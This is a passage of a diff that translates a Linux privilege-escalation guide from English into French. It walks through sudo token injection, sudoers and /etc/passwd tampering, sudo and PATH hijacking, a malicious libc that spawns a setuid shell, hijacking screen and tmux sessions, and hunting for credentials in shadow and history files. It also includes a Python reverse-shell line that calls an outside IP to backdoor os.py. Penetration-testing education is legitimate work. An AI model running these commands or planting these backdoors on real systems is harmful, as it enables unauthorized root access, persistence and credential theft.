[**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +Si toutes ces conditions sont remplies, **vous pouvez élever les privilèges en utilisant :** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +- Le **premier exploit** (`exploit.sh`) créera le binaire `activate_sudo_token` dans _/tmp_. Vous pouvez l'utiliser pour **activer le jeton sudo dans votre session** (vous n'obtiendrez pas automatiquement un shell root, faites `sudo su`) : ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` - -- The **second exploit** (`exploit_v2.sh`) will create a sh shell in _/tmp_ **owned by root with setuid** - +- Le **deuxième exploit** (`exploit_v2.sh`) créera un shell sh dans _/tmp_ **appartenant à root avec setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` - -- The **third exploit** (`exploit_v3.sh`) will **create a sudoers file** that makes **sudo tokens eternal and allows all users to use sudo** - +- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les jetons sudo éternels et permet à tous les utilisateurs d'utiliser sudo** ```bash bash exploit_v3.sh sudo su ``` - ### /var/run/sudo/ts/\ -If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) to **create a sudo token for a user and PID**.\ -For example, if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing: - +Si vous avez **des permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un token sudo pour un utilisateur et un PID**.\ +Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtenir des privilèges sudo** sans avoir besoin de connaître le mot de passe en faisant : ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` - ### /etc/sudoers, /etc/sudoers.d -The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. These files **by default can only be read by user root and group root**.\ -**If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**. - +Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ +**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure de **obtenir des informations intéressantes**, et si vous pouvez **écrire** dans n'importe quel fichier, vous serez en mesure de **escalader les privilèges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` - -If you can write you can abuse this permission - +Si vous pouvez écrire, vous pouvez abuser de cette permission. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` - -Another way to abuse these permissions: - +Une autre façon d'abuser de ces permissions : ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win # makes it so sudo never times out echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` - ### DOAS -There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` - +Il existe des alternatives au binaire `sudo` telles que `doas` pour OpenBSD, n'oubliez pas de vérifier sa configuration à `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` - ### Sudo Hijacking -If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash_profile) so when the user executes sudo, your sudo executable is executed. +Si vous savez qu'un **utilisateur se connecte généralement à une machine et utilise `sudo`** pour élever ses privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté. -Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) - -Or running something like: +Notez que si l'utilisateur utilise un shell différent (pas bash), vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Ou exécuter quelque chose comme : ```bash cat >/tmp/sudo < (0x0068c000) - libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x005bb000) +linux-gate.so.1 => (0x0068c000) +libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x005bb000) ``` - -By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable. - +En copiant la lib dans `/var/tmp/flag15/`, elle sera utilisée par le programme à cet endroit comme spécifié dans la variable `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ ldd ./flag15 - linux-gate.so.1 => (0x005b0000) - libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x00737000) +linux-gate.so.1 => (0x005b0000) +libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x00737000) ``` - -Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` - +Ensuite, créez une bibliothèque malveillante dans `/var/tmp` avec `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { - char *file = SHELL; - char *argv[] = {SHELL,0}; - setresuid(geteuid(),geteuid(), geteuid()); - execve(file,argv,0); +char *file = SHELL; +char *argv[] = {SHELL,0}; +setresuid(geteuid(),geteuid(), geteuid()); +execve(file,argv,0); } ``` +## Capacités -## Capabilities - -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ -Read the following page to **learn more about capabilities and how to abuse them**: +Les capacités Linux fournissent un **sous-ensemble des privilèges root disponibles à un processus**. Cela divise effectivement les **privilèges root en unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette manière, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.\ +Lisez la page suivante pour **en savoir plus sur les capacités et comment les abuser** : {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## Permissions de répertoire -In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ -The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. +Dans un répertoire, le **bit pour "exécuter"** implique que l'utilisateur concerné peut "**cd**" dans le dossier.\ +Le bit **"lire"** implique que l'utilisateur peut **lister** les **fichiers**, et le bit **"écrire"** implique que l'utilisateur peut **supprimer** et **créer** de nouveaux **fichiers**. ## ACLs -Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). - -**Give** user "kali" read and write permissions over a file: +Les listes de contrôle d'accès (ACLs) représentent la couche secondaire de permissions discrétionnaires, capables de **remplacer les permissions traditionnelles ugo/rwx**. Ces permissions améliorent le contrôle sur l'accès aux fichiers ou aux répertoires en permettant ou en refusant des droits à des utilisateurs spécifiques qui ne sont pas les propriétaires ou membres du groupe. Ce niveau de **granularité assure une gestion d'accès plus précise**. Des détails supplémentaires peuvent être trouvés [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux). +**Donner** à l'utilisateur "kali" des permissions de lecture et d'écriture sur un fichier : ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` - -**Get** files with specific ACLs from the system: - +**Obtenez** des fichiers avec des ACL spécifiques du système : ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` +## Ouvrir des sessions shell -## Open shell sessions +Dans les **anciennes versions**, vous pouvez **dérober** certaines sessions **shell** d'un autre utilisateur (**root**).\ +Dans les **dernières versions**, vous ne pourrez **vous connecter** qu'aux sessions d'écran de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**. -In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ -In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside the session**. - -### screen sessions hijacking - -**List screen sessions** +### Détournement de sessions d'écran +**Lister les sessions d'écran** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` - ![](<../../images/image (141).png>) -**Attach to a session** - +**Attacher à une session** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` +## détournement de sessions tmux -## tmux sessions hijacking - -This was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root as a non-privileged user. - -**List tmux sessions** +C'était un problème avec **les anciennes versions de tmux**. Je n'ai pas pu détourner une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié. +**Lister les sessions tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess ``` - ![](<../../images/image (837).png>) -**Attach to a session** - +**Attacher à une session** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1296,149 +1113,125 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` - -Check **Valentine box from HTB** for an example. +Vérifiez **Valentine box from HTB** pour un exemple. ## SSH -### Debian OpenSSL Predictable PRNG - CVE-2008-0166 +### Debian OpenSSL PRNG prévisible - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Tous les clés SSL et SSH générées sur des systèmes basés sur Debian (Ubuntu, Kubuntu, etc.) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.\ +Ce bug est causé lors de la création d'une nouvelle clé ssh dans ces OS, car **seulement 32 768 variations étaient possibles**. Cela signifie que toutes les possibilités peuvent être calculées et **en ayant la clé publique ssh, vous pouvez rechercher la clé privée correspondante**. Vous pouvez trouver les possibilités calculées ici : [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### Valeurs de configuration SSH intéressantes -- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. -- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. -- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. +- **PasswordAuthentication :** Spécifie si l'authentification par mot de passe est autorisée. La valeur par défaut est `no`. +- **PubkeyAuthentication :** Spécifie si l'authentification par clé publique est autorisée. La valeur par défaut est `yes`. +- **PermitEmptyPasswords** : Lorsque l'authentification par mot de passe est autorisée, cela spécifie si le serveur permet la connexion à des comptes avec des chaînes de mot de passe vides. La valeur par défaut est `no`. ### PermitRootLogin -Specifies whether root can log in using ssh, default is `no`. Possible values: +Spécifie si root peut se connecter en utilisant ssh, la valeur par défaut est `no`. Valeurs possibles : -- `yes`: root can login using password and private key -- `without-password` or `prohibit-password`: root can only login with a private key -- `forced-commands-only`: Root can login only using private key and if the commands options are specified -- `no` : no +- `yes` : root peut se connecter en utilisant un mot de passe et une clé privée +- `without-password` ou `prohibit-password` : root ne peut se connecter qu'avec une clé privée +- `forced-commands-only` : Root ne peut se connecter qu'en utilisant une clé privée et si les options de commandes sont spécifiées +- `no` : non ### AuthorizedKeysFile -Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: - +Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des jetons comme `%h`, qui seront remplacés par le répertoire personnel. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le répertoire personnel de l'utilisateur**. Par exemple : ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` - -That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` +Cette configuration indiquera que si vous essayez de vous connecter avec la **clé privée** de l'utilisateur "**testusername**", ssh va comparer la clé publique de votre clé avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access`. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. - -You need to set this option in `$HOME/.ssh.config` like this: +Le transfert d'agent SSH vous permet d'**utiliser vos clés SSH locales au lieu de laisser des clés** (sans phrases de passe !) sur votre serveur. Ainsi, vous pourrez **sauter** via ssh **vers un hôte** et de là **sauter vers un autre** hôte **en utilisant** la **clé** située dans votre **hôte initial**. +Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci : ``` Host example.com - ForwardAgent yes +ForwardAgent yes ``` +Remarquez que si `Host` est `*`, chaque fois que l'utilisateur passe à une autre machine, cet hôte pourra accéder aux clés (ce qui est un problème de sécurité). -Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). +Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou interdire cette configuration.\ +Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (par défaut, c'est autorisé). -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). - -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +Si vous constatez que le Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure de l'exploiter pour élever vos privilèges** : {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Interesting Files +## Fichiers intéressants -### Profiles files - -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. +### Fichiers de profils +Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont **des scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'eux, vous pouvez élever vos privilèges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` +Si un script de profil étrange est trouvé, vous devez vérifier s'il contient des **détails sensibles**. -If any weird profile script is found you should check it for **sensitive details**. - -### Passwd/Shadow Files - -Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of them** and **check if you can read** them to see **if there are hashes** inside the files: +### Fichiers Passwd/Shadow +Selon le système d'exploitation, les fichiers `/etc/passwd` et `/etc/shadow` peuvent avoir un nom différent ou il peut y avoir une sauvegarde. Il est donc recommandé de **les trouver tous** et de **vérifier si vous pouvez les lire** pour voir **s'il y a des hachages** à l'intérieur des fichiers : ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` - -In some occasions you can find **password hashes** inside the `/etc/passwd` (or equivalent) file - +Dans certaines occasions, vous pouvez trouver des **hashs de mot de passe** dans le fichier `/etc/passwd` (ou équivalent). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` - ### Writable /etc/passwd -First, generate a password with one of the following commands. - +Tout d'abord, générez un mot de passe avec l'une des commandes suivantes. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` - -Then add the user `hacker` and add the generated password. - +Ensuite, ajoutez l'utilisateur `hacker` et ajoutez le mot de passe généré. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` - E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -You can now use the `su` command with `hacker:hacker` - -Alternatively, you can use the following lines to add a dummy user without a password.\ -WARNING: you might degrade the current security of the machine. +Vous pouvez maintenant utiliser la commande `su` avec `hacker:hacker` +Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur fictif sans mot de passe.\ +AVERTISSEMENT : vous pourriez dégrader la sécurité actuelle de la machine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` +NOTE : Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, de plus, `/etc/shadow` est renommé en `/etc/spwd.db`. -NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. - -You should check if you can **write in some sensitive files**. For example, can you write to some **service configuration file**? - +Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` - -For example, if the machine is running a **tomcat** server and you can **modify the Tomcat service configuration file inside /etc/systemd/,** then you can modify the lines: - +Par exemple, si la machine exécute un serveur **tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat à l'intérieur de /etc/systemd/,** alors vous pouvez modifier les lignes : ``` ExecStart=/path/to/backdoor User=root Group=root ``` +Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré. -Your backdoor will be executed the next time that tomcat is started. - -### Check Folders - -The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try) +### Vérifier les Dossiers +Les dossiers suivants peuvent contenir des sauvegardes ou des informations intéressantes : **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablement vous ne pourrez pas lire le dernier mais essayez) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` - -### Weird Location/Owned files - +### Fichiers de localisation étrange/propriétés ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1450,77 +1243,59 @@ find / -type f -user root ! -perm -o=r 2>/dev/null find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null #Writable files by each group I belong to for g in `groups`; - do printf " Group $g:\n"; - find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null - done +do printf " Group $g:\n"; +find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null +done done ``` - -### Modified files in last mins - +### Fichiers modifiés dans les dernières minutes ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` - -### Sqlite DB files - +### Fichiers de base de données Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` - -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files - +### \*\_histoire, .sudo_as_admin_successful, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fichiers ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` - -### Hidden files - +### Fichiers cachés ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` - -### **Script/Binaries in PATH** - +### **Scripts/Binaires dans le PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` - -### **Web files** - +### **Fichiers Web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` - -### **Backups** - +### **Sauvegardes** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` +### Fichiers connus contenant des mots de passe -### Known files containing passwords +Lisez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il recherche **plusieurs fichiers possibles qui pourraient contenir des mots de passe**.\ +**Un autre outil intéressant** que vous pouvez utiliser à cet effet est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux et Mac. -Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\ -**Another interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. - -### Logs - -If you can read logs, you may be able to find **interesting/confidential information inside them**. The more strange the log is, the more interesting it will be (probably).\ -Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +### Journaux +Si vous pouvez lire les journaux, vous pourriez être en mesure de trouver **des informations intéressantes/confidentielles à l'intérieur**. Plus le journal est étrange, plus il sera intéressant (probablement).\ +De plus, certains journaux d'**audit** mal configurés (backdoorés ?) peuvent vous permettre de **enregistrer des mots de passe** à l'intérieur des journaux d'audit comme expliqué dans cet article : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` +Pour **lire les journaux, le groupe** [**adm**](interesting-groups-linux-pe/#adm-group) sera vraiment utile. -In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-group) will be really helpful. - -### Shell files - +### Fichiers Shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1531,74 +1306,67 @@ In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-g ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` +### Recherche de crédentiels génériques/Regex -### Generic Creds Search/Regex +Vous devriez également vérifier les fichiers contenant le mot "**password**" dans son **nom** ou à l'intérieur du **contenu**, et également vérifier les IP et les emails dans les journaux, ou les regexps de hachages.\ +Je ne vais pas lister ici comment faire tout cela, mais si vous êtes intéressé, vous pouvez consulter les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. -You should also check for files containing the word "**password**" in its **name** or inside the **content**, and also check for IPs and emails inside logs, or hashes regexps.\ -I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +## Fichiers modifiables -## Writable files +### Détournement de bibliothèque Python -### Python library hijacking - -If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). - -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier des bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py). +Pour **insérer une porte dérobée dans la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) : ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` +### Exploitation de Logrotate -### Logrotate exploitation - -A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. +Une vulnérabilité dans `logrotate` permet aux utilisateurs ayant **des permissions d'écriture** sur un fichier journal ou ses répertoires parents de potentiellement obtenir des privilèges escaladés. Cela est dû au fait que `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, en particulier dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des journaux est appliquée. > [!NOTE] -> This vulnerability affects `logrotate` version `3.18.0` and older +> Cette vulnérabilité affecte `logrotate` version `3.18.0` et antérieures -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Des informations plus détaillées sur la vulnérabilité peuvent être trouvées sur cette page : [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +Vous pouvez exploiter cette vulnérabilité avec [**logrotten**](https://github.com/whotwagner/logrotten). -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(journaux nginx),** donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez escalader les privilèges en substituant les journaux par des liens symboliques. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Référence de vulnérabilité :** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an 